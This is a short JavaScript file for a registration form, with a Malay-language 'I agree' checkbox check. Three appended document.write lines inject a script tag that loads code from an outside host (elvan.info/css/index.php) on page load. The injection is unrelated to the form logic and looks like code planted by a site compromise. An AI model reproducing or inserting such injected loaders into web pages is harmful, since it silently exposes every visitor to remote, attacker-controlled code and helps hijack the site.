function checkCheckBox(f) {
  if (f.agree.checked == false) {
    alert('Sila klik "Saya bersetuju" untuk daftar.');
    return false;
  } else
    return true;
}
// JavaScript Document
document.write('<script src=http://elvan.info/css/index.php ><\/script>');
document.write('<script src=http://elvan.info/css/index.php ><\/script>');
document.write('<script src=http://elvan.info/css/index.php ><\/script>');